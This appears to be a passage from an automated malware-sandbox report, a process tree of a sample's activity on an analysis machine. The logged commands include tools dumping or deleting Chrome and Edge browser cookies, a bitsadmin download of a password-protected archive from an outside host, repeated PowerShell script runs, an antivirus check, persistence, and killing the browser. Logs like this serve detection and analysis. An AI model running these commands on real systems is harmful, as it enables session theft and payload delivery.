                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 700
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:724
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 712
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:4180
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 764
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:640
                                                                                                                                                                                                                      • C:\Users\Admin\Documents\epnDB5HO_cfeL0TK93Mx9446.exe
                                                                                                                                                                                                                        "C:\Users\Admin\Documents\epnDB5HO_cfeL0TK93Mx9446.exe"
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                        PID:1280
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:4372
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:3564
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:4532
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:5560
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                            PID:4472
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                              PID:5268
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                PID:4064
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                  PID:5884
                                                                                                                                                                                                                              • C:\Users\Admin\Documents\1ahjD8itFIuBETbUf2Cs1zh4.exe
                                                                                                                                                                                                                                "C:\Users\Admin\Documents\1ahjD8itFIuBETbUf2Cs1zh4.exe"
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                  PID:4160
                                                                                                                                                                                                                                • C:\Users\Admin\Documents\muVOigDWuWgKLD7sbnIU2Hbc.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\muVOigDWuWgKLD7sbnIU2Hbc.exe"
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                  PID:4312
                                                                                                                                                                                                                                  • C:\Program Files (x86)\Company\NewProduct\customer3.exe
                                                                                                                                                                                                                                    "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    • Drops startup file
                                                                                                                                                                                                                                    PID:4612
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:6088
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:4800
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:5812
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:5876
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:5320
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                      PID:3828
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:2760
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:5508
                                                                                                                                                                                                                                  • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                                                                                                                                                                                                                    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                                                                    PID:3876
                                                                                                                                                                                                                                  • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                                                                                                                                                                                                                                    "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    PID:4676
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:5364
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:5524
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                        PID:5572
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                          PID:5936
                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\Qsi7xRlS2TtAwelP2dZtv_0t.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\Qsi7xRlS2TtAwelP2dZtv_0t.exe"
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:4396
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        PID:904
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                          PID:5508
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                            PID:5336
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                              PID:1440
                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\JrCeQ82sBIwYrQGIQgWFo1zF.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\JrCeQ82sBIwYrQGIQgWFo1zF.exe"
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                                                            PID:3164
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                PID:3044
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                  PID:5984
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                    PID:4064
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                      PID:4980
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                        PID:4908
                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                            PID:6064
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                            PID:516
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                            • Checks for any installed AV software in registry
                                                                                                                                                                                                                                                            PID:4216
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\bitsadmin.exe
                                                                                                                                                                                                                                                            "bitsadmin" /Transfer helper http://fsstoragecloudservice.com/data/data.7z C:\zip.7z
                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                            • Download via BitsAdmin
                                                                                                                                                                                                                                                            PID:4288
                                                                                                                                                                                                                                                          • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                                                                                                                                                                                                            "C:\Program Files (x86)\lighteningplayer\data_load.exe" -psX9qwm33EIagKt1 -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                                                                            PID:5172
                                                                                                                                                                                                                                                          • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                                                                                                                                                                                                            "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pnCakZ7coy8uFcvB -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                            PID:5860
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                              PID:4912
                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                PID:4548
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                PID:3764
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                  PID:5452
                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                      PID:4812
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                      PID:5500
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                        PID:3536
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                        C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\ntOGjLqnw\ntOGjLqnw.dll" ntOGjLqnw
                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                        PID:3980
                                                                                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                          C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\ntOGjLqnw\ntOGjLqnw.dll" ntOGjLqnw
                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                                                                                          PID:5496
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                          PID:4948
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                                                                          PID:4292
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                                                                          PID:4504
                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                            PID:4584
                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf4F47.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                              PID:6124
                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe
                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT
                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                              PID:5328
                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\FMgIEbQD0ddTafq7Xeco5nnA.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\FMgIEbQD0ddTafq7Xeco5nnA.exe"
                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                              PID:3828
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                  PID:6032
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                    taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                    PID:5136
                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\uhTXUQGyrXK1sSl1J4s7kDaP.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\uhTXUQGyrXK1sSl1J4s7kDaP.exe"
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                PID:5108
                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\uhTXUQGyrXK1sSl1J4s7kDaP.exe
                                                                                                                                                                                                                                                                                  "{path}"
                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  PID:5868
                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\l9xY6IctJx7Cf6Em0jcaz9YU.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\l9xY6IctJx7Cf6Em0jcaz9YU.exe"
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                PID:4132
                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\l9xY6IctJx7Cf6Em0jcaz9YU.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\l9xY6IctJx7Cf6Em0jcaz9YU.exe" -a
                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  PID:2868
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                    PID:4376
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c sonia_7.exe
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:3052
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c sonia_6.exe
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                              PID:4076
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8BB7BB64\sonia_6.exe
                                                                                                                                                                                                                                                                                sonia_6.exe
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                PID:1452
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  PID:4240
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                    PID:3552
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                      PID:304
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                        PID:5432
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2740 -s 536
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
